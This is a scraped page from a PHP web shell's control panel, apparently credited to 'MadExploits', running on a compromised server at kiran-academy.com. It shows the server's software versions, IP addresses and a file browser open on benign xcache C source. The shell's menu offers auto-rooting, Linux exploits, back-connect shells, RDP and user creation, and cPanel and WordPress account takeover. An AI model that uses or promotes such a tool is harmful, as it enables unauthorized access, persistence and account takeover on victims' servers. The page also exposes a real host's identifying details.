Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
xcache-3.2.0 /
xcache /
[ HOME SHELL ]
Name
Size
Permission
Action
.libs
[ DIR ]
drwxr-xr-x
README
15
B
-rw-rw-r--
xc_allocator.c
2.72
KB
-rw-rw-r--
xc_allocator.h
2.91
KB
-rw-rw-r--
xc_allocator.lo
322
B
-rw-r--r--
xc_allocator_bestfit.c
7.7
KB
-rw-rw-r--
xc_allocator_bestfit.lo
338
B
-rw-r--r--
xc_compatibility.c
726
B
-rw-rw-r--
xc_compatibility.h
8.2
KB
-rw-rw-r--
xc_compatibility.lo
330
B
-rw-r--r--
xc_const_string.c
2.21
KB
-rw-rw-r--
xc_const_string.h
270
B
-rw-rw-r--
xc_const_string.lo
328
B
-rw-r--r--
xc_const_string_opcodes_php4.x...
2.51
KB
-rw-rw-r--
xc_const_string_opcodes_php5.0...
3.36
KB
-rw-rw-r--
xc_const_string_opcodes_php5.1...
3.37
KB
-rw-rw-r--
xc_const_string_opcodes_php5.2...
3.37
KB
-rw-rw-r--
xc_const_string_opcodes_php5.3...
3.5
KB
-rw-rw-r--
xc_const_string_opcodes_php5.4...
3.62
KB
-rw-rw-r--
xc_const_string_opcodes_php5.5...
3.75
KB
-rw-rw-r--
xc_const_string_opcodes_php5.6...
3.84
KB
-rw-rw-r--
xc_const_string_opcodes_php6.x...
3.62
KB
-rw-rw-r--
xc_extension.c
1.77
KB
-rw-rw-r--
xc_extension.h
578
B
-rw-rw-r--
xc_extension.lo
322
B
-rw-r--r--
xc_ini.c
606
B
-rw-rw-r--
xc_ini.h
457
B
-rw-rw-r--
xc_ini.lo
310
B
-rw-r--r--
xc_malloc.c
5.37
KB
-rw-rw-r--
xc_mutex.c
8.2
KB
-rw-rw-r--
xc_mutex.h
546
B
-rw-rw-r--
xc_mutex.lo
314
B
-rw-r--r--
xc_opcode_spec.c
1.27
KB
-rw-rw-r--
xc_opcode_spec.h
905
B
-rw-rw-r--
xc_opcode_spec.lo
326
B
-rw-r--r--
xc_opcode_spec_def.h
20.75
KB
-rw-rw-r--
xc_processor.c
28
B
-rw-rw-r--
xc_processor.lo
322
B
-rw-r--r--
xc_sandbox.c
13.57
KB
-rw-rw-r--
xc_sandbox.h
1.01
KB
-rw-rw-r--
xc_sandbox.lo
318
B
-rw-r--r--
xc_shm.c
2.01
KB
-rw-rw-r--
xc_shm.h
2.16
KB
-rw-rw-r--
xc_shm.lo
310
B
-rw-r--r--
xc_shm_mmap.c
6.65
KB
-rw-rw-r--
xc_shm_mmap.lo
320
B
-rw-r--r--
xc_utils.c
16.71
KB
-rw-rw-r--
xc_utils.h
2.43
KB
-rw-rw-r--
xc_utils.lo
314
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xc_allocator.c
#ifdef TEST # ifdef HAVE_CONFIG_H # include <config.h> # endif #else # include "xcache.h" #endif #include "xc_allocator.h" #include <string.h> #include <stdio.h> typedef struct { const char *name; const xc_allocator_vtable_t *allocator_vtable; } xc_allocator_info_t; static xc_allocator_info_t xc_allocator_infos[10]; int xc_allocator_register(const char *name, const xc_allocator_vtable_t *allocator_vtable) /* {{{ */ { size_t i; for (i = 0; i < sizeof(xc_allocator_infos) / sizeof(xc_allocator_infos[0]); i ++) { if (!xc_allocator_infos[i].name) { xc_allocator_infos[i].name = name; xc_allocator_infos[i].allocator_vtable = allocator_vtable; return 1; } } return 0; } /* }}} */ const xc_allocator_vtable_t *xc_allocator_find(const char *name) /* {{{ */ { size_t i; for (i = 0; i < sizeof(xc_allocator_infos) / sizeof(xc_allocator_infos[0]) && xc_allocator_infos[i].name; i ++) { if (strcmp(xc_allocator_infos[i].name, name) == 0) { return xc_allocator_infos[i].allocator_vtable; } } return NULL; } /* }}} */ void xc_allocator_init() /* {{{ */ { extern void xc_allocator_bestfit_register(); #ifdef HAVE_XCACHE_TEST extern void xc_allocator_malloc_register(); #endif memset(xc_allocator_infos, 0, sizeof(xc_allocator_infos)); xc_allocator_bestfit_register(); #ifdef HAVE_XCACHE_TEST xc_allocator_malloc_register(); #endif } /* }}} */ #ifdef TEST /* {{{ testing */ #undef CHECK #define CHECK(a, msg) do { \ if (!(a)) { \ fprintf(stderr, "%s\n", msg); return -1; \ } \ } while (0) #include <time.h> int testAllocator(const xc_allocator_vtable_t *allocator_vtable) { int count = 0; void *p; xc_allocator_t *allocator; void *memory; void **ptrs; int size, i; #if 0 fprintf(stderr, "%s", "Input test size: "); scanf("%d", &size); #else size = 1024; #endif CHECK(memory = malloc(size), "OOM"); CHECK(ptrs = malloc(size * sizeof(void *)), "OOM"); allocator = (xc_allocator_t *) memory; allocator->vtable = allocator_vtable; CHECK(allocator = allocator->vtable->init(NULL, allocator, size), "Failed init memory allocator"); while ((p = allocator->vtable->malloc(allocator, 1))) { ptrs[count ++] = p; } fprintf(stderr, "count=%d, random freeing\n", count); srandom(time(NULL)); while (count) { i = (random() % count); fprintf(stderr, "freeing %d: ", i); allocator->vtable->free(allocator, ptrs[i]); ptrs[i] = ptrs[count - 1]; count --; } free(ptrs); free(memory); return 0; } /* }}} */ int main() /* {{{ */ { int i; xc_allocator_init(); for (i = 0; i < sizeof(xc_allocator_infos) / sizeof(xc_allocator_infos[0]) && xc_allocator_infos[i].name; i ++) { fprintf(stderr, "testing %s...\n", xc_allocator_infos[i].name); testAllocator(xc_allocator_infos[i].allocator_vtable); } return 0; } /* }}} */ #endif
Close